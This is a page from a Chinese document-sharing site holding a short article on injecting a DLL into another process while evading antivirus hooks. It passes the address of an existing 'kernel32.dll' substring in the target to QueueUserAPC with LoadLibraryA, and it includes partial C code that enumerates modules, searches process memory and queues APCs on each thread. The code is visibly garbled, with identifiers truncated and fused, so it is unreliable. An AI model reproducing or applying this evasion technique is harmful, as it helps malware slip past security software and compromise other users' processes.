绕过主动防御的代码注入方法思考

绕过主动防御的代码注入方法思考

ID:24540666

大小:54.50 KB

页数:4页

时间:2018-11-14

绕过主动防御的代码注入方法思考_第1页
绕过主动防御的代码注入方法思考_第2页
绕过主动防御的代码注入方法思考_第3页
绕过主动防御的代码注入方法思考_第4页
资源描述:

《绕过主动防御的代码注入方法思考》由会员上传分享,免费在线阅读,更多相关内容在工程资料-天天文库

1、绕过主动防御的代码注入方法思考~教育资源库  目前大多数的杀软都是hookNtemory和NtUserSetemory函数,而这个函数是被hook的,所以杀软可以很容易的拦截代码注入行为。  仔细想想,杀软的这种防御是很失败的!原因是为了要一个param,攻击者完全没有必要做这么大的动作去目标进程内存空间申请内存并写内存,我在思考是否可以不用emory函数呢?反正我的目的就是得到一个合理的param,并且这个param是在目标进程内存空间即可!  思考后,原来一切是这么容易啊,哈哈!乐了我半天~~~  举个例子:假设我是这样注入的:  QueueUserAPC((PAP

2、CFUNC)LoadLibraryA,hThread,(ULONG_PTR)param);  我想让上面的param的内容是一个xxx.dll,就可以了,而且要求这个param是在目标进程内存空间  您想到了么?哈哈  答案:直接在目标进程搜索一个这样的字符串nel32.dll就可以啦!因为kernel32.dll这样的字符串是一定存在的,那么为了和kernel32.dll不一样,那就随便使用一下nel32.dll,或者el32.dll,都是可以的啊!最后在往ThreadandInjectDll(char*processName,HANDLEhProcess,DODUL

3、E,de={sizeof(me)};  BOOLfOk=Module32First(hSnapshot,me);if(!fOk){ printf(Module32Firsterror!n); return0;}  for(;fOk;fOk=Module32Next(hSnapshot,me))  { printf(%sprocessmodulename=%sn,processName,me.szModule);    //取得进程模块基址 if(stricmp(me.szModule,processName)==0) {  defaultAddress=(Demory(

4、hProcess,(LPCVOID)defaultAddress,buffer,bufflen,dberOfBytesRead)){ printf(ReadProcessMemoryerror!n); return0;}for(inti=0;i<bufflen-dp(buffer+i,szInjectModName,dwLen)==0) {  printf(foundnel32.dllalready!...%sn,buffer+i);  while(pCurrentTid)  {  HANDLEhThread=OpenThread(THREAD_ALL_ACCES

5、S,FA12下一页友情提醒:,特别!LSE,pCurrentTid->dwTid);    if(hThread!=NULL)  {   //   //注入DLL到指定进程   //   QueueUserAPC((PAPCFUNC)LoadLibraryA,hThread,(ULONG_PTR)(defaultAddress+i));  }    printf(TID:%dn,pCurrentTid->dwTid);  pCurrentTid=pCurrentTid->pNext;  }  break; }}  return0;}上一页12友情提醒:

6、,特别!

当前文档最多预览五页,下载文档查看全文

此文档下载收益归作者所有

当前文档最多预览五页,下载文档查看全文
温馨提示:
1. 部分包含数学公式或PPT动画的文件,查看预览时可能会显示错乱或异常,文件下载后无此问题,请放心下载。
2. 本文档由用户上传,版权归属用户,天天文库负责整理代发布。如果您对本文档版权有争议请及时联系客服。
3. 下载前请仔细阅读文档内容,确认文档内容符合您的需求后进行下载,若出现内容与标题不符可向本站投诉处理。
4. 下载文档时可能由于网络波动等原因无法下载或下载错误,付费完成后未能成功下载的用户请联系客服处理。